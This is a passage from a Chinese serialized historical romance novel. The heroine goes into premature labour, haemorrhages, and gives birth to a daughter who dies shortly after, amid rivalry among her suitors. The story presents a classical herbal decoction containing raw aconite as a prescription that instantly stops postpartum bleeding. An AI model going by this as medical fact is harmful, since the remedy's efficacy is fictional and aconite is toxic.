恰时,其腹部忽然传来一阵坠痛感。 与此同时,下身似是还有什么液体流出。 衣上云心里顿觉自己情况不妙,一时之间竟动也不敢动。 嘴里只喃喃发出一阵断断续续的声音。 “三少……” “我……” “我好像快要生了……” 闻此,易三少顿时立在原地傻了眼。 “什么?” “快要生了?” “要生了?” “不是说还有一月左右才临盆的吗?” “怎么办?” “怎么办才好?” “我不会接生呀。” 衣上云看到对此毫无经验的易三少已然慌了,便告诉他:“先带我回房,让人赶快去找稳婆来。” 易三少听了,紧忙上前将其一把再次横抱了起来,一边朝医馆里面的床榻边过去,口中一边疾呼了一声。 “姑娘要生了,还不赶快去找个稳婆来。” 顿时间,人群里炸开了锅。 “他说什么?” “要生了?” “谁要生了?” “他好像说,是姑娘要生了。” “姑娘不是还有一个月才生吗?” “一定是被这个畜生方才吓得早产了。” “这个挨千刀的。” “把他先关起来。” “等会儿再慢慢收拾他。” “稳婆!” “快去找阿嬷来!” “她的手艺在草原上最好了。” “凡是她接生的,十有八九都是带把的。” “走走走。” “散了吧。” “都先散了吧!” “晚点儿我们再和他算账。” 时间一点一滴的过去。 从大清早,等到晌午,直到下午。 好几名侍女脚步匆匆地端着热水轮番不停的进进出出。 闻讯已经赶回来的拓跋泽,正与易三少俩人一起踱步,焦急地等候在医馆门外。 每每两人踱步相遇在一起的时候,彼此都很不服气地给对方一个极其蔑视的眼神。 外加俱都对彼此发出一阵冷哼声,继而又各自掉转回头,再次继续自己的动作。 忽然,易三少气愤地先开了口。 “等到孩子出生,这次说什么我都要带丫头离开,这里的冬天太过寒冷,又极漫长,丫头的身子是受不了的。” 拓跋泽一听,即刻表示反对道:“你敢!” 易三少决定这次再毫不退让,肯定极了地道:“你看我敢不敢?!” “你……” 就在拓跋泽欲上去对其动手时,忽然,一名侍卫朝其身边靠近了过来:“大皇子!” 拓跋泽复又踱步回来,同侍卫一起走到了一边。 侍卫方才压低了些许声音,朝其禀报:“经属下审问,已经都弄清楚了。今日来医馆闹事的人,是名医堂在街上找来的一个陌生脸孔的地痞流氓,教唆他故意找姑娘的茬,来此捣乱,目的就是针对姑娘的医馆,让医馆开不下去。” 闻此,拓跋泽眼中怒火骤起:“名医堂?敢乘本皇子外出,动本皇子的人。把他给本皇子废了,然后丢到名医堂门口,给他们提个醒,教教他们规矩。如果以后再敢来这里撒野,本皇子不介意,将他们的老巢端掉。” “可是……” 第七百零六章:让我进去! 听了拓跋泽的话,侍卫有些担心。 想了想,露出一脸难色着道:“可是名医堂,那是西秦朝廷所设置的,专门来监管草原上的各大医馆诸事。今日这事,明摆着是朝廷针对医馆所为。如果我们这么做了,西秦朝廷一定会追究下来。到时被受牵连的,怕是就不止医馆了。” 岂料拓跋泽竟发出一阵冷笑来:“什么狗屁名医堂?一堆大男人,技不如人,便使出如此下三滥卑鄙的手段,连一个手无缚鸡之力的弱女子都容不下!今日,如果她有任何不测,我一定不会放过所有相关的人。” 与此同时,更是不屑极了:“西秦朝廷又如何?本皇子还怕他不成。” 见其如此态度,侍卫已然不知该如何再劝:“可是……” 看到身边像是有愈来愈多的婢女步履匆匆地不断进出,拓跋泽亦彻底失去了耐心。 遂吩咐侍卫,说:“没有什么可是的,你尽管按照本皇子所说的去做即可!所有一切后果和责任,本皇子一力承担。” “是,属下遵命!” 最后,侍卫只能默默地领命后便快步离开。 殊不知,另一边,异于常人格外耳聪目明的易三少隐隐已听到两人的对话。 心里忽然惊讶地道:“这还是世人眼中以前那个残暴不仁的北烈大皇子吗?如今怎么就像变了个人似的,这般有了责任感。” 说着,想来定是这段日子与衣上云在一起被影响的结果。 遂转头望向医馆内的衣上云所在的方向,发出一阵感叹道:“不过短短数月,看来在丫头的身上,的确有一股神秘的力量,与她朝夕相处,她居然真的可以改变一个人,化解这世上所有的仇恨。” 传闻中,西秦守护者代代都是以女子单脉相传。 于是顿了顿,易三少忽然闭起眼睛来,口中喃喃低语着为其祈福道:“老天保佑,保佑她们一定要母女平安!” 全然不知,拓跋泽何时竟已回来。 走近一听到他口中的碎碎念,拓跋泽忽然开口问:“你一孤家寡人,又怎么知道她会生女孩?” 易三少顿被惊了一下,睁开双眼,对其说道:“我……我会看相……你管我!” 拓跋泽当然一点儿也不相信他的话,遂朝其发出一阵嘲笑的声音来:“哼……” 接着满脸自豪又肯定极了地道:“本皇子看她生的倒一定会是个男孩!以后本皇子一定要亲自教他骑马拉弓射箭……” 就在俩人由一开始的水火不容,完全不对付,变得不知怎的就忽然一起满心希冀地期待着,衣上云即将出世的孩子究竟会是男是女时,珠儿提着一个篮子走了过来。 待其近身过来,拓跋泽好奇地问:“你拿的是什么?” 珠儿先是朝其屈膝行礼,继而解释道:“大皇子有所不知,妇人生产本就是极消耗体力的。且从早上到现在,姑娘已经耗费了太多的力气,必须得进行补充才行。所以奴婢特地炖了些鸡汤送过来,以备不时之需。” 拓跋泽伸手掀开盖子一看,里面竟真的是鸡汤,方才放心地说:“送进去吧!务必好好伺候。” 珠儿朝其屈膝行礼,答应道:“是,大皇子莫要担心,奴婢一定会照顾好姑娘的。” 拓跋泽点点头,眼巴巴地目送着珠儿离去的背影,只觉似是自己的魂魄亦随之飘了进去。 这时,一旁的易三少忽然想起来什么,紧皱着眉头,在一边幽幽开了口。 “这一次,可千万不能再出什么事了,丫头的这个孩子,来得极其不容易。如果再出事,她一定受不了。” 闻此,拓跋泽方才恍然回过神来,跟随其默念了一句:“这一次……” 遂联想起上次衣上云小产的事,便好奇地问:“对了,这个女人,不是都说是那秦王轩辕翰的心尖宠吗?既然如此,上次又怎会小产?” 对于这件事,易三少显然至今尚觉还后怕着,于是幽幽道:“那是秦王轩辕翰……” 话刚开了个头,拓跋泽便自顾自就下定了结论。 生气极了地道:“本皇子就知道,一定是那个衣冠禽兽。他简直就是个畜生,虎毒尚且不食子,他怎忍心对自己的亲骨肉下手。本皇子真搞不懂这个愚蠢的女人,为什么还要一而再再而三地给他生孩子?” 易三少看了看他,想要对其解释,道:“你错了,秦王轩辕翰就是因为对丫头太过用心,情深义重,才会忍痛不惜亲手去子留母。” 拓跋泽始终是个粗人,哪里能体会这般细腻的心思,他只选择自己想要听到的结果。 根本再听不进其他道理,便已认定了:“不爱就是不爱,休要找那么多借口!轩辕翰身经百战,杀敌无数,本就是个生性冷漠、嗜血成性,始乱终弃的人,难怪她不惜以假死亦要离开秦王府。” 并信誓旦旦地道:“不过,如此也好,往后余生,本皇子绝对不会再让她受这样的伤害!” 易三少见其心中执念,竟已如此之深,左不过看来世间又多了一个注定爱而不得的人,遂只能轻轻地叹了口气:“唉!” 这时,拓跋泽看了看天色,终于再也忍不住,不耐烦地开始在门外嚷嚷了起来。 “马上就要到申时了,怎么还不生?” “这到底怎么回事?” “怎么到现在还不生?” “真是要急死本皇子了!” 话刚说完,一名婢女掀开门帘脚步慌乱地走了出来。 拓跋泽着急地上前两步过去,紧紧掐住侍女的胳膊,问:“怎么样?生了没有?” 只见那侍女脸色一片苍白,嘴里战战兢兢地说:“大皇子,不好了,姑娘的身子太弱,现在大出血,怎么都止不住?” 拓跋泽听了,只觉耳边嗡嗡作响:“什么?怎么会这样?” 易三少亦着急地打探问:“孩子可已经出生了?” 婢女摇了摇头,着急害怕地似是都快要哭了:“阿嬷说,姑娘和孩子,怕是都活不成了!” 听到草原上最具权威的阿嬷,竟已亲自审判了衣上云母子的命运,拓跋泽顿时怒发冲冠地道:“都是你干的好事,秦王轩辕翰,本皇子要你的命!” 这时,易三少却极力压抑着心里的担心,紧握着双拳,要求说:“让我进去!” 拓跋泽满脸质疑地看向易三少的脸:“你一个大男人,懂妇人生产之事?” 易三少从未如此坚定过地说:“我不懂,但我知道,这个时候,只有我能帮丫头!” 话一说完,便就丝毫不顾拓跋泽的阻拦,兀自迈步起来欲进去。 拓跋泽见了,遂伸出一手将其挡住。 易三少顿足停下,忽变一脸煞气地认真问他:“莫非你真认为,今日,你挡得住我?” 霎时间,俩人四目紧紧相对视在一起。 然最终,从其眼中,拓跋泽似是看到了什么,竟缓缓收回了那只挡在其身前的大手。 转而朝其认真地说:“一定要她活着!” 易三少这才大步流星,紧随着婢女一同走了进去。 拓跋泽的心,亦随之再次紧紧揪在了一起。 进帐后。 一看到衣上云一脸煞白,大汗淋漓,整个人几乎是奄奄一息地躺在床上一动也不动。 床边摆放着好几个热水盆里,早已分不清其中到底混入了多少她的鲜血。 还有床上的斑斑血迹…… 望着眼前的一切,易三少顿时站在那里,惊呆了。 完全听不进一旁人等的议论纷纷。 “若是去子留母,姑娘的命尚还有一丝希望……” “可姑娘一直说,要保孩子啊……” “荒唐,这产房怎么进的了男人啊?” “这可是要招血光之灾的……” “是大皇子同意让他进来的。” “他说他能帮姑娘!” “他一个大男人怎么会懂女人生孩子的事?” “胡闹,真是胡闹……” 直到衣上云迷迷糊糊地看到了易三少的身影出现,嘴里几乎用尽全身力气轻唤了一声:“三少,你怎么进来了?” 易三少方才回过神来,快步上去到其面前,跪倒在其床头。 紧紧握住她似是因为疼痛实在难耐,尚还在不停微微颤抖着的一只手,泪水瞬间模糊了双眼。 口中喃喃低语道:“这一切,真的值得吗?” 而衣上云的脸庞,亦明明有泪水滑落,却只弱弱地求他:“三少,帮帮我,救救这个孩子!” 闻此,易三少的心都碎了:“自己的命都快没了,还一心想着那个孩子,你到底是有多么爱他?” 此时此刻,或许只有天知道,易三少有多么地心疼。 “那日你用那样的话激我,我差点儿离开,幸好留了下来。” 最后,他依旧只能毫无抵抗力地答应她:“如今既然我来了,接下来,放心交给我,一切有我在!” 衣上云倍感欣慰地笑了笑,弱弱地朝其点头,尔后说:“三少,你过来……” 易三少便紧忙附耳过去。 衣上云在对其进行了一番耳语之后,易三少缓缓立起身来。 对面前众人道:“从现在开始,一切都听我的,今日,我要她们母女俩俱都好好的活着。” 第七百零七章:生 终究,因为回忆起所有过往之后,太多的人和事羁绊。 这段时间以来,衣上云在这里表面上看似忙碌,实则一直心事重重着。 再者,虽然已尽力尝试着去接受,却至今都依然还是未能习惯这里的饮食与生活,造成长期以来严重的营养不良。 加之今日医馆里所发生的事,使其精神始终都无法平静地待产。 打从上次小产后,本就身子孱弱着。 如此一切的一切,方才最终导致了最后的早产。 就在刚刚的分娩过程中,出现了明显的子宫收缩强度不足,这才导致其产程延长甚至停滞,出血不断。 此刻,她的体力已然接近衰竭。 易三少确实对女人生产之事了解甚微,可就在刚刚,衣上云让他附耳过去,将自己的情况以及应对之策予他做了说明。 最后,他目光坚定的看着衣上云的脸,信誓旦旦地说:“丫头你放心,我一定不会让你们母女俩有事的!” 接着,转而对所有人说道:“已亡之血难以骤生,未亡之气所当急固。\" 又道:“四逆汤中附草姜,阳衰寒厥急煎尝,厥阴头痛胃寒呕,急投此方可回阳。” 于是依照衣上云方才对自己的嘱咐,急忙吩咐说:“快去准备四逆汤,将炙甘草、生附子、姜炭、以上三味药,以水三升,煮取一升二合,去滓,分温再服。如此有助于减少对胃肠道的刺激,促进吸收和发挥药效。” 一旁的婢女心生疑惑地问:“姑娘的情况已然危急至此,就只这几味药……这……这真的有用吗?” 易三少目光冷厉地呵斥其道:“叫你准备便就快去准备,今日她们母女若是有个什么闪失,我定让你们在此所有人都一起陪葬。” 婢女听了,吓得连连朝其致歉:“是是是,奴婢这就去准备。” 很快,婢女便就将煎好的药汤端了进来。 “丫头,你要的四逆汤来了,我喂你服下。” 衣上云弱弱地点头,易三少便亲自一汤勺一汤勺地将其缓缓送入衣上云的嘴里。 一室寂静。 时间一分一秒的过去,所有人都屏住呼吸,静静的等待着,等待着…… 忽然,一婢女掀开锦被查看。 惊奇的发现了眼前所出现的奇迹般的景象,连连发出阵阵惊呼。 “止住了。” “止住了。” “血真的止住了。” 闻此,易三少终于舒了口气,惊喜地握住衣上云的手:“成功了,丫头,你是对的!四逆汤果然管用。” 衣上云亦满含着泪水对其弱弱地点头。 紧接着,易三少又问:“接下来该怎么做?” 此时,衣上云的脸色亦已经明显有了血色变化。 于是便唤来身旁的珠儿:“珠儿……” 珠儿早已被吓得一颗心紧紧揪在了一起,闻声同样附耳朝其过去。 只见衣上云不知道对珠儿说了些什么,珠儿听完后,点了点头。 继而开始用力摩擦起自己的两只手掌来,待其发热,便就附手朝着衣上云的腹部位置触了上去,将五指打开,动作柔柔地替其轻揉了起来。 终于,在易三少和珠儿的合力帮助下。 渐渐恢复了体力与宫缩的衣上云,终于再次打起了精神来。 就连一旁的阿嬷,亦被眼前这个女人面对自己命悬一线,所散发出的如此镇定、顽强又智慧的模样早已惊呆了。 一回过神来,紧忙亲自掀开锦被查看了一番最新的进展,嘴里便鼓励其说:“姑娘用力,孩子马上就要出来了!” 而此时,只剩独自一人等候在门外的拓跋泽,听着耳畔边再次传来了一阵又一阵的惨叫声。 似是终于再也没有办法继续干等下去,嘴里喃喃自语道:“不行,本皇子不能再这么等下去了!” 见他抬步,侍卫紧忙伸手拦住他:“大皇子万万不可!” 拓跋泽狠狠瞪着他一眼,气愤地喝斥道:“走开!那个南安太子都能进得,为何本皇子不能?” 侍卫道:“那南安太子虽说是一男子,可他懂得医理药理,正所谓事急而从权,他多少能对姑娘有所助力,可大皇子你的医药术尚还远远比不上二皇子……” 拓跋泽已然什么都听不进去,情急之下居然一把抽出了身上剑鞘里的长剑来。 将其毫不犹豫地抵到了侍卫的脖颈上,威胁他:“你若再敢多说一句,小心本皇子要了你的命!” 就在这时。 忽闻一阵新生儿呱呱坠地无比洪亮,似是要唤醒这整片草原一般的声音传了出来。 “这声音……” “这是……” 一时之间,难以置信的拓跋泽竟已反应不过来,愣愣地怔在了原地。 反道是受其胁迫的侍卫,激动不已地说:“生了,姑娘生了!” 过了会儿,拓跋泽方才缓缓醒来,一边默默收起剑来,一边心中亦是甚觉欣喜不已。 “生了!” “太好了!” “真是太好了!” 几度生死边缘的徘徊与挣扎,早已是精疲力尽。 最后,伴随着孩子降生所发出的那阵洪亮的哭声,衣上云已然再也支撑不住孱弱极了的身子,缓缓合上了眼眸,昏睡了过去。 易三少从未这般心疼地凝视着她如此虚弱的模样,心里暗自道:“傻丫头,你可知?为了这个孩子,这次险些送了自己的命。” 一边的阿嬷双手托着,自己亲手将其刚刚带到这人世间的婴儿。 仔细将其端详了一番后,爱不释手又惊喜地说:“阿嬷我替人接生数十载,还从未见过如此一生下来,便尽显一副气宇轩昂的小公……” 话未说完,身旁立着的珠儿一把将孩子抢了过去,打断她的话。 将手里的一袋沉甸甸的银钱递到了其手里,说:“今日属实真是辛苦阿嬷了,孩子交给我便是,这些银钱是阿嬷的辛苦钱,阿嬷亦早些回去歇着吧。” 阿嬷已然上了年纪,今日如此反复的折腾,此时的确有些累了,便说:“如此也好,阿嬷我今日的确是有些累了,便就先回了。” 珠儿笑着说:“阿嬷请!” 待到所有人收拾好一切离去。 医馆里只剩下衣上云,易三少,珠儿与孩子四人。 而珠儿怀里抱着的婴儿,仿佛知道自己的娘亲今日因生自己吃尽了苦头,居然特别地安静,不哭也不闹,只顾自己安静的睡着着。 这时,拓跋泽终于冲了进来,一进门便道。 “那个女人呢?” “那个愚蠢的女人怎么样了?” 一搜索看到昏睡过去的衣上云,便脚步匆匆地朝其身边近身了过去,质问易三少:“她怎么了,她没事吧?” 易三少已然被吓得不轻,似是至今都还惊魂未定后怕着。 闻声摇了摇头,说:“没事了,她只是太累了,让她好好休息会儿!” “没事便好!” “没事便好!” 闻此,拓跋泽那颗一直久久悬在半空中的心,亦终于安放了下来,嘴里碎碎念着。 俩人的目光与所有的心思,在接下来很长一段时间里,全都只顾聚集在昏睡的衣上云一人身上,全然无一人关心那刚刚出世的孩子。 对于医馆里进进出出的人,及所发生的事情亦荡然不知。 不知过了多久,待到拓跋泽忽然先反应过来,方才问身旁的婢女珠儿:“对了,那孩子,究竟是男是女?” 珠儿只顾一直默默地在一角落,紧紧盯视着拓跋泽担忧衣上云的脸色变化,心里实则却早已嫉妒的发狂。 “为什么?为什么即便他已经为别的男人生下了孩子,你依旧还是对这个女人如此挚爱?” 闻声,珠儿顿扬起笑脸来,一把抹掉眼角的泪水,说:“姑娘她生下一位十分可爱的女孩儿,孩子或许知道自己的娘亲今日遭受了大罪,一直很安静的睡着呢!” 说着,便紧忙过去一边暖榻上,将孩子抱了起来,一边朝拓跋泽身边过去,一边掀开襁褓一角对其的遮挡。 就在距离到达拓跋泽身旁还有三五步距离的时候,珠儿忽然顿住脚步停了下来。 看到珠儿忽然顿足停下,脸色亦变得越来越难看,拓跋泽问:“怎么了?” 珠儿默默地吞咽下一口口水,继而只见她摇了摇头,仿佛连自己都难以置信的模样,吞吞吐吐地开口说。 “这……” “怎么会……” “这不可能……” 见此,拓跋泽顿时变得紧张起来,再次质问珠儿:“到底怎么了?” 这时,就连一心只在衣上云身上的易三少亦被惊醒了过来,倏地站起身。 一时间,仿佛就连周围的空气都凝固了一般。 珠儿忽然乍出一句:“孩子……孩子没气了!” 易三少:“你说什么?” 拓跋泽:“没气了?” 闻声,易三少与拓跋泽皆都难以置信的开口问。 珠儿赶忙解释说:“刚才她还好好的,奴婢以为她只是睡着了,便就将她放在了暖榻上。奴婢真的不知道是怎么回事?” 闻声,易三少快步上前,心中却又有些迟疑,最终还是双手颤抖着,缓缓接过珠儿手里的襁褓一看。 拓跋泽亦凑了过来。 霎时间,只闻“啪”的一声…… 第七百零八章:死 伴随着一记格外响亮的耳光落下,便见珠儿被掌掴跌趴在一旁的案几上,差点儿将案上的一只篮子推倒。 在其白皙的脸庞上,顿时现出五道深深的红色手指印来。 然她却并未第一时间去理会落在脸上的伤痛,而是去稳稳扶住那个篮子。 之后方才后知后觉地伸手将脸捂住,回头看向拓跋泽正射向自己愤怒无比的眼神。 似是像要吃人一般地瞪着自己,于是心里委屈极了地道:“对不起!都是奴婢的错!是奴婢没有看好孩子,可奴婢真的不知道怎么会……” 未及其将话说完,拓跋泽紧接着便一把紧紧地掐住了她的脖颈:“贱婢,你难道不知道,这个孩子有多么重要吗?” 只不过须臾之间,珠儿便就被掐地脸红脖子粗,似是都快要喘不过气来。 死死地拽着拓跋泽掐住自己的手,嘴里依旧在试图着对其道歉:“对……对……不……起!” 就在珠儿最终实在无力挣脱,整个人瞬间失力软绵绵地想要放弃最后的一丝挣扎时。 忽然传出衣上云甚为孱弱的声音来。 “三少……” 闻声,易三少方才瞬间回过神来,动了动眼皮。 却仿佛白日撞鬼了一般,心里顿时六神无主了起来。 曾经多少次,甚至就在刚刚,他还当着她的面,信誓旦旦地保证,一定会保她们母子平安。 可现在,她受了那么多苦,冒着生命危险,方才产下的这个来之不易的孩子,甚至都还没来得及看一眼,便就这么离开了。 一切的一切,这让他到底该如何对她解释? 久久不见易三少回应自己,衣上云只能又再次轻唤起道:“珠儿……” 一时间,所有人都屏住了呼吸,丝毫不敢再发出声音来。 最后,不得已,衣上云只能一边努力挣扎着起身,一边继续尝试着呼唤。 “三少……” 拓跋泽眼看着衣上云就要坐起身来,遂赶快将那只禁锢着珠儿脖颈的手一松,珠儿便就顺势从其手中滑脱,轻飘飘地跌瘫在地上。 松开了珠儿,转而与易三少两人快速地互相对视了一眼,似是便就已经达成了某种共识一般。 衣上云一起身来,便就看到俩人正将各自的脸凑在一起,不知对着易三少手中襁褓里的孩子做什么,亦或说什么? 于是便问:“你们俩在做什么?” 此时此刻,易三少一心只想先拖延着,于是便佯装说:“没什么,我们正在哄孩子睡觉呢!你的身子很虚弱,赶快躺下再多歇一会儿吧!孩子有我们,你尽管放心。” 拓跋泽亦紧忙附和着道:“是啊,是啊,孩子我们会照顾好的,你不用担心!” 可面对怀里已然早已毫无气息了的小生命,易三少只觉自己的心一直在扑通扑通跳个不停。 遂心下里一想,唯恐自己怕是很快便就要撑不下去穿帮了,于是便着急地对拓跋泽说:“孩子已经睡着了,快点让人抱下去吧!” 这时,已然重新缓过气来的珠儿赶忙起身来,快步上前,一把从其手中将其接过,欲将那孩子抱出去。 不料衣上云却开口叫住了她:“珠儿,等等!” 珠儿背对着衣上云,身体已然在微微颤抖。 许是因为刚生产完,身子尚还孱弱着的衣上云明显并未意识到她的不对劲,便只弱弱地道:“是男孩还是女孩?抱过来让我看一眼。” 闻此,霎时间,所有人的心俱都被提到了嗓子眼门口。 终是易三少先开口打破了这片紧张的气氛,道:“是跟你一样冰雪聪明的小公主,等她睡醒了再抱过来给你看也不迟。” 而衣上云却仍然坚持着说:“让我看一眼,就看一眼。” 易三少亦毫不松懈地说:“你现在最需要的是休息,不能再累着,还是等她睡醒了再看吧!” 如此来来去去,惊心动魄。 终于,还是拓跋泽再也忍不住,心一横,咬紧牙关乍出了一句:“不用看了,孩子已经死了!” 此话一出,在场的每个人都怔在了原地,眼睛直勾勾地望向他的脸。 衣上云回忆方才惊险的时刻,最后发出断断续续地说。 “什么?” “死了?” “这不可能?” “我明明已经听到她出生时所发出的颇为洪亮有力的哭声,怎么会?” “不可能……” “这绝对不可能。” “你们一定在骗我。” “为什么要骗我?” 事已至此,易三少只能上前,从珠儿的手里将那只襁褓再次接了过来。 继而回头,缓缓迈着沉重的步伐过去,将其递到了衣上云的手里。 衣上云颤颤巍巍地将其接过。 看着孩子紧闭的双眼,遂满含着热泪将自己温暖的脸庞贴到了孩子的额头、鼻尖、脸蛋、还有胸前…… 然她所感受到的,除了处处都是一样的冰冷之外,毫无一丝其他温度。 霎时间,她的眼泪便像是断了线的珠子一般,一颗一颗地滚落脸庞。 终于,衣上云再也忍不住内心巨大的悲痛,一下便彻底晕厥了过去。 “丫头……” 伴随着易三少发出一声惊呼,拓跋泽与珠儿亦即刻朝其身边一起拥了过去。 静静的夜里。 窗外西北风呼呼地刮着,漫天飞舞着洁白的雪花,随之簌簌的落下。 不知过了多久,衣上云终于缓缓再次睁开眼睛醒了过来。 看着易三少竟就这样寸步不离地趴在自己的榻边,沉沉地睡了过去。 衣上云的心底不禁再次泛起一丝波澜,可她知道,那绝对与爱情无关。 于是小心翼翼地起身来,将一条厚厚的毯子,轻轻地披在了他的身上。 继而转身出门,抬头望着无尽的苍穹之下漫天飞雪,缓缓伸出一只纤纤玉手去,尝试着想要接住几片晶莹剔透的雪花片。 依旧那般好看如初的一双凤眼,似被雪花眯了眼,扑闪了两下。 不知为何,记忆忽然闪现到了那一年。 秦王轩辕翰大婚在即,轩辕玥带她上门前去向其道贺,在秦王府与轩辕翰在雪天相遇的情景。 那日,他身着一袭玄色锦袍。 身姿挺拔、伟岸如山、尊贵威严、睥睨天下,一双深邃的明眸镶嵌在精致的脸上。 他问她,是不是很喜欢下雪? 她说是。 那一日,在同样的雪地上。 她还对他说,下雪的时候,一定要约喜欢的人在雪中走一走,因为走着走着就一起白了头。 他便问她,本王现在算不算陪你一起走在雪中呢? 可谁曾想,后来的他们之间,便就真的再也纠缠不清了。 …… 回忆过往,不知不觉,竟再次泪流满面。 最后,衣上云吸了吸鼻子,自言自语道:“对不起,我们的孩子……终究还是没能保住!” “或许,所有一切都该有个了结了……” “我本就不属于这个世界,也许一开始便就注定了不该留下任何痕迹。如此也好,待到我救了丁香,便就彻底离开这一切所有纷纷扰扰……” “你我之间,从此亦再无瓜葛!” 西秦国,秦王府。 寂静的夜里,午夜时分。 明月轩里,轩辕翰忽然发出一阵阵梦魇般的声音来。 “不要……” “本王的孩儿……” “不要带走他……” “不……” “云儿……” “不要走……” “不要离开本王……” 倏地一下,轩辕翰睁开眼眸,一把掀开锦被,惊坐起身来。 闻声疾步赶进来的程良着急地问:“殿下可是又做噩梦了?” 寒风凛冽的冬日夜里,轩辕翰却是浑然不觉自己正赤裸着双脚,踩在冰冷的地上。 他只觉自己方才的梦境是那般地真实,从未如此真实过,遂对程良说:“方才本王梦到,本王的孩儿没了,云儿也流了好多血,好多好多……” 程良听了心里惊了一下,继而赶快安慰他说:“这民间常说,日有所思,便就夜有所梦。殿下定是为了王妃娘娘的事,近日里太过伤神了。这梦向来都是反的,况且娘娘距离生产还有月余的时日呢,娘娘医术高明,又处处逢缘,她一定会保护好自己和肚子里的小殿下,殿下莫要太过于紧张。” 可轩辕翰却始终觉得,这次一定有什么不好的事发生。 “不……” “不对……” “一定有事发生……” “一定发生了什么事?” 遂着急地问程良:“可已找到了云儿的下落?” 程良无奈地摇了摇头,说:“还没有?” 看到主子的眉头霎时间愈皱愈深,程良又道:“但是,我们的人,已经盯住了陆远的人马。他们至今,似乎也尚还没有寻到有关王妃娘娘的下落。” 轩辕翰听了,遂陷入一片沉沉的思绪当中。 过了会儿,程良再次开口朝其禀报了一件事情。 “殿下,我们安插在宫里的人最近发现,张致远每日都会偷偷去宫中一处没落的院子里。经过我们后来的仔细察勘,发现被困在那里的人,正是御药房的大药女,丁香。” 轩辕翰想了想,吩咐道:“这次务必派人盯紧了,查清楚到底是怎么回事?” “除此之外,还有一事……” 第七百零九章:如何开口? 顿了顿,程良又说:“殿下可知道是何人向拓跋泽通风报信,告诉他王妃娘娘并没有死,且去了草原的消息?” 关于衣上云假死的秘密,居然还有人知道,轩辕翰听了,心里不禁着实惊了一下,问:“是谁?” “刚刚收到的消息,今日在宫里,我们的人听到陆小姐与丫鬟的谈话……” 程良似是有些难言之隐,却只犹豫了片刻,便道:“是……陆小姐。” 轩辕翰顿现出冷厉的眼神,惊声道:“是她?!” 程良点了点头,继续说:“王妃娘娘装扮回府代人送信的那夜,恰巧被刚进门的陆小姐撞见。而陆小姐,亦一直与拓跋泽有着颇为秘密的勾结。那夜,正是她掩护王妃娘娘躲过了府中侍卫的盘查。并将这一切消息都让人传递给了拓跋泽,拓跋泽这才急急亦赶回了草原。” 听到这一切,轩辕翰紧紧握起双拳来,隐忍着心头无比的愤怒说了句:“真是该死!” 程良却是百思不得其解,甚是疑惑地问:“只是,陆小姐既然是太后的人,至今却似乎并未将此事告知宫里的那位,不知她心里究竟打的是什么主意?” 轩辕翰想了想,解释说:“此事如果一旦被宫里知道,虽说是衣上坤报的丧,然王府亦难免会一同被追究失察与欺君之罪。而陆天骄一心想入王府,所以这件事,她自是绝对不会告诉宫里那位。” 顺着轩辕翰的话想下去,程良瞬间被自己的推断惊呆了。 “如果真是这样的话,那她是想借拓跋泽的手,让王妃娘娘的假死变成事实!草原本就是拓跋泽的地盘,即便如今已由我朝管辖,可拓跋泽的残余势力依旧不少。加之拓跋宏的死……” 程良甚至都不敢继续往下想去,只着急地道:“如此,那王妃娘娘此次岂不是在劫难逃?” 如果放在从前,轩辕翰未必会认为拓跋泽会有取衣上云性命的心思,最多将其困在自己身边,亦绝不可能伤其性命。 因为如果他要这么做,便早就做下了。 可现在,的确如程良所担心的,拓跋宏死了,拓跋泽便很可能将这一切责任归咎,并发泄到衣上云的身上。 一念至此,轩辕翰深不见底的眸子一冷。 眼中顿现出似有千万支利剑欲要射出一般,对程良厉声命令道:“传令下去,明日天黑前,本王必须知道云儿现在到底人在哪儿?” “是!”程良领命后,便急急退下。 轩辕翰默默地道:“云儿,千万不能有事。” “丫头……” “丫头……” 烛火惺忪,一场梦魇中,易三少忽地被惊醒过来。 看到眼前榻上早已是空荡荡,衣上云已然消失不见。 他哗地一下立起身来,自责极了地道:“真是该死,这个时候,我怎么能睡着了!” 于是一边疾步冲出去,一边担心极了地继续呼唤着。 “丫头……” “丫头……” 怎料刚一出毡帐,便就见衣上云正背靠着外面插入土里的一根粗壮的柱子席地而坐着。 似是被其举动惊到,亦是心疼她所遭遇的一切,遂顿足停下观望了一瞬间,继而很快便气呼呼地上前去,对其连连吼声指责质问起来。 “这么冷的天,你不要命了吗?” “外面下这么大的雪,你刚刚生产完,怎么就这样坐在雪地里?” “不就是孩子没了吗?至于要这样作贱自己的身子?” “你还这么年轻,孩子,以后总归还会再有的……” 易三少还想继续再说,却被衣上云忽然开口打断:“不会了,再也不会了!” 易三少惊了一下,想要再次朝其确认自己心里对这句话的理解,于是低低地问:“你说什么?” 事已至此,衣上云如今早已是万念俱灰。 其眼皮一动也不动,只定定地望着空中此时正一片一片,如鹅毛般纷纷落下的雪花,重复了一遍自己的话。 “我知道,这辈子,我都不可能再有自己的孩子了。” 易三少震惊不已地问:“你怎知道的?” 衣上云嘴角微微一斜,说:“我自己的身子,我怎会不知?我的身子本就不宜有孕,上次小产淋了雨,本就已经……” 天知道,先后两个孩子都没能保住,她的心里是多么地难过,可还是隐忍着想要把话说完,终究却还是没能说出口:“这次又……” 此话一出。 一时间,俩人一同陷入了沉默之中。 不知过了多久,易三少亦缓缓挪步过去坐了下来,在衣上云的旁边。 与其一道对着漫天雪花,认真地说了句:“对不起,答应你的事,终究没能做到。” 衣上云轻声说:“这不怪你,是我与那孩子一而再地没有缘份。” 一时间,易三少似是都不知道该再说些什么,只静静的陪着她坐着,丝毫不知道她到底在想些什么。 过了会儿,衣上云忽然乍出一句:“三少,带我回西秦吧!” 易三少听了,顿惊看向她毫无血色,苍白如纸般的侧脸,问:“难道你对那秦王轩辕翰至今都还念念不忘吗?你明明知道,他只会带给你无尽的痛苦与灾难。” 衣上云矢口否认道:“不是他!” “不是因为他?” 易三少心里顿了一下,半信半疑地说:“那你还回西秦做什么?既然世人皆知秦王妃已死,不如,你就换个身份,跟我回南安好了。” 想起丁香因为自己还被困着,衣上云便坚持自己的想法,道:“三少,我知道你是为了我好。可是,西秦还有我没有完成的事情,我必须回去。” 易三少早就知道衣上云一定不会答应自己,可却总是不甘心,便只能再次确认问了句:“这次回去,真的与他无关?” 衣上云想了一会儿,反问他说:“秦王妃已经死了,不是吗?” 易三少仔细想了想,最后终于下定决心道:“只要你答应我不再糟践自己的身子,丫头你想去哪儿,我便陪你去哪儿,纵使上刀山,下油锅,上天入地,我都绝无二话……” 衣上云听了,感动地看着他的眼睛,说:“三少,我……” 却被易三少抢先开口,将其余下的话俱都挡了回去。 “如果你还要跟我说谢谢,那就不要再说了。这辈子,只要能见到你,我便心满意足了。” 